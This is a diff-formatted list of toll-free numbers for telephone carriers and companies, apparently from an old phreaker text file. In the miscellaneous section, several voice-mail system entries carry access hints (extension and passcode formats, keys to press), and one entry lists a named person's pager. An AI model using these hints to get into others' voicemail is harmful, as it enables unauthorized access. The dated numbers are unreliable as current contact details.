+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-749-0800 MCI WorldCom.
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-827-9987 MCI WorldCom Corporate Accounts.
+1-800-848-4480 MCI WorldCom Network Assistance. (modem)
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-8000 MCI Operator.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-909-3175 MCI WorldCom Pre-paid Card System
+1-800-909-3180 MCI WorldCom Pre-paid Card System
+1-800-909-3197 MCI. (Spanish)
+1-800-938-6374 MCI WorldCom Customer Service.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-950-5555 MCI WorldCom.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-EVERYDAY MCI WorldCom.
+1-800-MCI-LOCAL MCI WorldCom Local Customer Service.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-624-9266 MCI WorldCom Sales Office.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ MT&T:
+-------------------------------------------------------------------------------
+
+1-800-422-5978 MT&T Mobility.
+1-800-461-5533 MT&T Billing, Accounts and Repairs.
+1-800-561-6364 MT&T Data Services.
+1-800-565-1881 MT&T Business Customer Service Centre.
+1-800-565-4003 MT&T.
+1-800-565-4800 MT&T.
+1-800-565-5065 MT&T Residence Telemarketing.
+1-800-565-7102 MT&T.
+1-800-626-5552 MT&T Data Communications Sales and Repairs.
+
+
+-------------------------------------------------------------------------------
+ Nortel Networks:
+-------------------------------------------------------------------------------
+
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-668-1717 Nortel's Global Customer Service.
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-684-9996 Nortel Networks Software Applications Status Line.
+1-800-833-7477 Nortel Networks.
+1-800-NORTEL-1 Nortel Networks Information Line for Resellers.
+1-888-4-NORTEL Nortel Networks VMS.
+
+
+-------------------------------------------------------------------------------
+ Pacific Bell:
+-------------------------------------------------------------------------------
+
+1-800-241-3000 Pacific Bell Quickservice. (U.S. Only)
+1-800-248-2800 Pacific Bell Smart Yellow Pages.
+1-800-286-8111 Pacific Bell Spanish Yellow Pages.
+1-800-310-BELL Pacific Bell. (U.S. Only)
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-528-0000 Pacific Bell Business Products. (U.S. Only)
+1-800-750-2355 Pacific Bell Customer Service. (U.S. Only)
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-848-8000 Pacific Bell Directory Smart Resource Center.
+1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only)
+1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent)
+1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only)
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+
+
+-------------------------------------------------------------------------------
+ Qwest:
+-------------------------------------------------------------------------------
+
+1-800-256-1410 Qwest Communications News Bureau.
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-524-5249 Qwest Communications Customer Service.
+1-800-524-7258 Qwest Communications.
+1-800-567-7296 Qwest Communications Investor Relations.
+1-800-600-9196 Qwest Communications VMS.
+1-800-860-2255 Qwest Communications.
+1-800-899-7780 Qwest Communications.
+1-800-968-1287 Qwest Communications.
+1-800-968-3986 Qwest Communications.
+1-800-RIDEQWEST Qwest.
+1-877-877-7978 Qwest Shareholder Communication Service.
+1-888-452-6200 Qwest.
+1-888-793-7811 Qwest Communications Career Line. (Job Listings)
+
+
+-------------------------------------------------------------------------------
+ SaskTel:
+-------------------------------------------------------------------------------
+
+1-800-667-2355 SaskTel Mobility.
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6840 SaskTel Mobility Customer Service.
+1-800-667-6870 SaskTel Repairs.
+1-800-871-3011 SaskTel Satellite Service.
+1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service.
+1-800-975-1969 SaskTel.
+1-800-SASKTEL SaskTel Billing and Inquiries.
+
+
+-------------------------------------------------------------------------------
+ Southwestern Bell:
+-------------------------------------------------------------------------------
+
+1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services.
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-528-2355 Southwestern Bell Yellow Pages Business Office.
+1-800-600-2355 Southwestern Bell.
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services.
+1-800-909-3285 Southwestern Bell Wireless.
+1-888-455-2355 Southwestern Bell Long Distance.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-213-5430 Sprint.
+1-800-215-8037 Sprint Solutions Center.
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint BusinessFlex.
+1-800-336-MOST Sprint Canada.
+1-800-344-9679 Sprint "Nickel Nights"
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-361-9342 Sprint Canada Customer Service. (French)
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-465-3193 Sprint Canada Customer Service. (English)
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-470-MOST Sprint Canada.
+1-800-471-MOST Sprint Canada.
+1-800-474-MOST Sprint Canada.
+1-800-475-7110 Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-485-4493 Sprint Canada. (Fax)
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-511-2041 EarthLink Sprint/Mindspring Internet Services.
+1-800-515-MOST Sprint Canada.
+1-800-516-MOST Sprint Canada.
+1-800-517-MOST Sprint Canada.
+1-800-518-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-MOST Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-575-MOST Sprint Canada.
+1-800-580-MOST Sprint Canada.
+1-800-581-MOST Sprint Canada.
+1-800-585-MOST Sprint Canada.
+1-800-593-MOST Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-601-MOST Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-606-MOST Sprint Canada.
+1-800-607-MOST Sprint Canada.
+1-800-613-7797 Sprint Canada Customer Service.
+1-800-613-MOST Sprint Canada.
+1-800-617-MOST Sprint Canada.
+1-800-631-MOST Sprint Canada.
+1-800-641-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-MOST Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-691-MOST Sprint Canada.
+1-800-713-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-716-MOST Sprint Canada.
+1-800-736-1130 SprintNet Data Network Products and Services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-749-MOST Sprint Canada.
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-MOST Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-827-9080 Sprint.
+1-800-830-MOST Sprint Canada.
+1-800-831-MOST Sprint Canada.
+1-800-840-MOST Sprint Canada "The Most" Enrollment.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-890-6356 EarthLink Sprint.
+1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English)
+1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French)
+1-800-994-MOST Sprint Canada.
+1-800-EARTHLINK EarthLink Sprint. (Internet)
+1-800-FON-CARD Sprint's automated calling.
+1-877-283-2933 Sprint.
+1-877-283-2934 Sprint's Business Line.
+1-877-283-2935 Sprint Automated Customer Service.
+1-877-4-NIGHTS Sprint Nickel Nights.
+1-877-4-WEEKENDS Sprint Weekends.
+1-877-4-YOURPLAN Sprint BusinessFlex.
+1-877-431-EASY Sprint Canada Easy Unlimited.
+1-877-591-EASY Sprint Canada Easy Unlimited.
+1-877-592-EASY Sprint Canada Easy Unlimited.
+1-877-597-EASY Sprint Canada Easy Unlimited.
+1-877-598-EASY Sprint Canada Easy Unlimited.
+1-877-5CONTACT Sprint.
+1-877-602-EASY Sprint Canada Easy Unlimited.
+1-877-727-5835 Sprint PCS.
+1-877-931-EASY Sprint Canada Easy Unlimited.
+1-877-935-EASY Sprint Canada Easy Unlimited.
+1-877-939-EASY Sprint Canada Easy Unlimited.
+1-877-940-EASY Sprint Canada Easy Unlimited.
+1-877-941-EASY Sprint Canada Easy Unlimited.
+1-877-943-EASY Sprint Canada Easy Unlimited.
+1-877-945-EASY Sprint Canada Easy Unlimited.
+1-877-950-EASY Sprint Canada Easy Unlimited.
+1-877-951-EASY Sprint Canada Easy Unlimited.
+1-877-953-EASY Sprint Canada Easy Unlimited.
+1-877-955-EASY Sprint Canada Easy Unlimited.
+1-877-PCS-PERKS Sprint PCS Northwest Airlines Program.
+1-888-220-3763 Sprint Canada's "The Most" Online.
+1-888-236-EASY Sprint Canada's "The Most" Online.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-296-EASY Sprint Canada.
+1-888-345-0718 Sprint Canada's "The Most" Online.
+1-888-369-DATA Sprint.
+1-888-371-EASY Sprint Canada.
+1-888-4-SPRINT Sprint Business.
+1-888-456-EASY Sprint Canada.
+1-888-490-EASY Sprint Canada's "The Most" Online.
+1-888-496-EASY Sprint Canada.
+1-888-510-EASY Sprint Canada.
+1-888-512-EASY Sprint Canada.
+1-888-579-EASY Sprint Canada.
+1-888-581-EASY Sprint Canada.
+1-888-621-EASY Sprint Canada.
+1-888-657-EASY Sprint Canada.
+1-888-660-EASY Sprint Canada.
+1-888-670-EASY Sprint Canada.
+1-888-671-EASY Sprint Canada.
+1-888-673-EASY Sprint Canada.
+1-888-675-EASY Sprint Canada.
+1-888-677-7464 EarthLink Sprint.
+1-888-680-EASY Sprint Canada's "The Most" Online.
+1-888-685-EASY Sprint Canada's "The Most" Online.
+1-888-689-EASY Sprint Canada's "The Most" Online.
+1-888-690-EASY Sprint Canada's "The Most" Online.
+1-888-710-EASY Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-EASY Sprint Canada.
+1-888-890-2384 Sprint Canada (French)
+1-888-998-2288 Sprint Canada (Chinese)
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-7US-WEST "Please enter the area code..."
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+1-800-8US-WEST "Please enter the area code..."
+1-800-AIRTOUCH US West "Air Touch".
+1-800-US-WEST0 "Enter Code."
+1-888-4US-WEST US West Home Office Consulting Center.
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies:
+-------------------------------------------------------------------------------
+
+(303) 499-7111 Atomic Clock in Colorado.
+(937) 445-4357 NCR HQ. (option 2)
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-201-0640 Touch 1 Communcations.
+1-800-205-6700 coolemail.com
+1-800-218-6850 MSN (Micro$oft Network)
+1-800-221-2255 American Airlines VMS.
+1-800-221-4009 London Telcom.
+1-800-221-4677 Micro$oft Seminars.
+1-800-222-5000 AAA's Air, Hotel and Car Reservations.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-222-TIPS Crime Stoppers.
+1-800-225-2255 ATN Communications. (collect, calling & credit card calls)
+1-800-225-2545 Century Telephone Long Distance Calls (Hardy AR)
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5152 Nationwide Messaging.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5664 NEC.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-235-1414 National Telewire Message Centre.
+1-800-235-4008 Information America's Client Support.
+1-800-242-0080 Compaq Corporation.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-243-8674 NRG Communications (MI)
+1-800-245-4786 MSN (Micro$oft Network)
+1-800-255-3700 Nintendo.
+1-800-260-DELL DELL.
+1-800-263-0656 NCR.
+1-800-263-1121 Canon.
+1-800-263-1136 Statistics Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-2777 IBM Software Replication Services.
+1-800-263-3394 Apple Canada.
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-2772 Sitel Canada.
+1-800-267-5251 Compaq Canada Services.
+1-800-267-9010 Message Center Dispatch.
+1-800-268-1221 Hewlett-Packard Canada Ltd.
+1-800-268-3997 NEC.
+1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-286-8241 Touch 1 Communications.
+1-800-288-2880 OCI Communications.
+1-800-289-3355 (1-800-BUY-DELL) DELL Canada.
+1-800-289-6241 Mag-Lite flashlights.
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-296-7160 DELL Canada.
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-320-3488 Motorola Radio Network Services in San Diego, CA.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-321-9998 World Access Canada.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-325-9141 DELL Canada.
+1-800-328-2174 Telematic. (these people are phreakymatic)
+1-800-329-5683 Long Distance Roses (Colorado Springs, CO)
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-5236 Texas Instruments.
+1-800-336-6000 Audix VMB.
+1-800-339-6181 Toshiba.
+1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service)
+1-800-344-4825 (1-800-DIGITAL) Compaq Canada.
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals)
+1-800-353-0809 Call to remove yourself from Credit Card company lists.
+1-800-354-9000 Compaq Customer Services.
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-359-9556 Samsung Telecommunications.
+1-800-360-2255 Century 21 Realty VMS.
+1-800-361-1319 Motorola Canada.
+1-800-363-3811 Belcom Communications.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-373-2324 McLeodUSA (Telephone directories and service)
+1-800-381-7707 Rogers Cantel Service Barrie.
+1-800-387-0005 Primus Canada.
+1-800-387-2837 Dominion Telephone Systems Ltd.
+1-800-387-4172 The Canadian Telephone Company Inc.
+1-800-387-4268 Lucent Technologies.
+1-800-387-4636 Nestle Canada.
+1-800-387-5645 Toshiba.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals)
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-4-DOTCOM Network Solutions. (the Dot Com people)
+1-800-4-LUCENT Lucent Technologies.
+1-800-4-ONLINE America Online order line.
+1-800-400-VIEW Rogers Cable's Viewer's Choice.
+1-800-401-4141 FiberNet Telemanagement, Inc.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-407-2247 Quaker Oats Company.
+1-800-418-6245 Blockbuster's VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-424-6262 ITT Voice Mail. (Meridian Mail)
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-0000 Systematic.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4000 Pearce Communications.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-5853 All-Tel.
+1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters.
+1-800-435-7194 Primus (Fax)
+1-800-439-2204 Brewer's Retail Help Desk. (ask for free beer!)
+1-800-444-2817 Primus Customer Care Center. (Spanish)
+1-800-444-9000 Telecom USA.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-452-9996 Statistics Canada.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-2948 SkyWard Message Center.
+1-800-455-4890 Pager that plays a South Park Song for the greeting.
+1-800-455-5958 ITC Telecom.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-461-2800 Canadian Tire Cardholder Services.
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-462-9791 M Telecom Internet Business Services.
+1-800-465-1176 Meridian Mail VMB.
+1-800-465-7999 IBM Direct.
+1-800-467-2355 CenturyTel.
+1-800-468-1714 Hershey Canada.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-472-5451 Hershey Canada Inc.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-477-9692 ATN Information and Customer Service.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTech telco.
+1-800-486-4835 SCO Unix Technical Support.
+1-800-488-7040 ADT Security.
+1-800-494-4884 Primus Trouble Reporting Department.
+1-800-501-1150 Hershey Canada Inc. (French)
+1-800-501-6245 Database America's answering machine.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-521-5422 Group Long Distance (Fort Lauderdale, FL)
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-524-3388 CompuServe.
+1-800-524-4736 National Phone Lines (Hales Corners, WI)
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-537-6737 Long Distance Roses.
+1-800-539-6275 (1-800-LEXMARK) Lexmark Canada.
+1-800-541-6821 Super Bureau Inc. (find documents on almost anyone)
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books,
+ Glossary of Terms, Acronyms and Jargon)
+1-800-544-4660 Plantronics Telephone Headsets.
+1-800-555-1212 Toll Free Directory Assistance/Info.
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access.
+1-800-555-6620 Meridian Mail VMB.
+1-800-555-7665 TelAmerica.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-565-6317 Cadbury.
+1-800-567-1616 Compaq Canada.
+1-800-5678-HMV HMV Music Store.
+1-800-569-DELL DELL.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-582-3425 Idealdial Corporation (Colorado)
+1-800-586-DELL DELL.
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call-Home America.
+1-800-595-8480 Rogers@Home.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-627-5609 Conquest Customer Service.
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-638-5298 Global Telecom.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-639-8359 (1-800-NEXTEL-9) Nextel.
+1-800-647-2355 MinIowa PC Partner.
+1-800-651-2355 MobileTel, Inc.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (data recovery)
+1-800-658-5600 All-Star Customer Service.
+1-800-661-1886 Palco Telecom Inc.
+1-800-661-7274 SeaChange (Internet Services)
+1-800-663-7780 NCR Invoicing Department.
+1-800-665-2775 Apple Canada Dealer Locator Line.
+1-800-667-3601 Frontier SpeedLink.
+1-800-667-7656 Accord Communications Inc.
+1-800-668-3979 Bestobell Canada Ltd (Toronto)
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-672-3888 National Rifle Association Hotline.
+1-800-678-8774 Source Resources (the source for finding people)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-704-7977 Primus Communications.
+1-800-724-3780 Seiger Electronics.
+1-800-725-5288 ATN Communications.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-746-9930 Great Lakes Telephone Corp.
+1-800-746-DELL DELL.
+1-800-749-8000 Nextel International.
+1-800-777-2255 Phone Works VMS.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-788-8588 Working Assets Long Distance.
+1-800-792-1000 Columbia House CD-ROM Club.
+1-800-8-PRIMUS Primus Customer Service Department.
+1-800-800-8800 Target Directory.
+1-800-821-1661 InterTel Network Services.
+1-800-822-2000 Lucent Technologies.
+1-800-825-2255 Metro-Call Customer Service. (pager service)
+1-800-827-0035 America Online.
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-828-3362 Novell Authorization Department.
+1-800-829-1011 Network Management Center.
+1-800-833-2700 Cooperative Communications, Inc.
+1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ)
+1-800-835-7788 US Telecom International.
+1-800-842-2255 American Express VMS (Audix)
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-1810 Cypress Semiconductor.
+1-800-858-4000 Novell Technical Support.
+1-800-864-8351 Quantum Link Communications.
+1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI)
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-900-DELL DELL.
+1-800-909-3250 Meridian Mail VMB.
+1-800-909-3436 Simtel Inc. Independent Payphone Service for New York/New Jersey
+1-800-909-4672 National Rifle Association (NRA)
+1-800-909-4945 Computer 411.
+1-800-909-5008 LCC Network Services.
+1-800-909-5109 Automated Transmitter System.
+1-800-921-DELL DELL.
+1-800-925-1111 TONE. Long Distance.
+1-800-925-2289 US Tel Customer Service.
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service)
+1-800-933-6600 Federal TransTel, Inc.
+1-800-934-8642 VoiceNet Calling Cards (New York NY)
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-942-6227 Mostly Mac Inc.
+1-800-948-DELL DELL.
+1-800-949-6245 Phone Mail VMB.
+1-800-951-2355 Cantel Communications.
+1-800-954-2387 Frontier (Global Crossing)
+1-800-954-6245 OcTel VMB.
+1-800-968-0461 Enterprise Telephone.
+1-800-999-2222 Pilgrim Telephone.
+1-800-999-DELL DELL Canada.
+1-800-DEFENDER Net Zero. (free Internet service)
+1-800-DIAL-166 ATN Communications.
+1-800-EASY-TEL EasyTel Calling Card Calls.
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-GETEVOICE eVoice by Nokia.
+1-800-HI-ITS-ME AlternaCall Collect Calls.
+1-800-IOPENER Netpliance.
+1-800-KRAMERS The Real Kramer's Reality Tour in New York City.
+1-800-MOLSON-1 Molson Canada.
+1-800-O-CANADA Government of Canada.
+1-800-OK-CANON Canon Canada.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-800-SCO-UNIX SCO Services Sales.
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL5 SkyTel.
+1-800-TOSHIBA Toshiba Computer Systems.
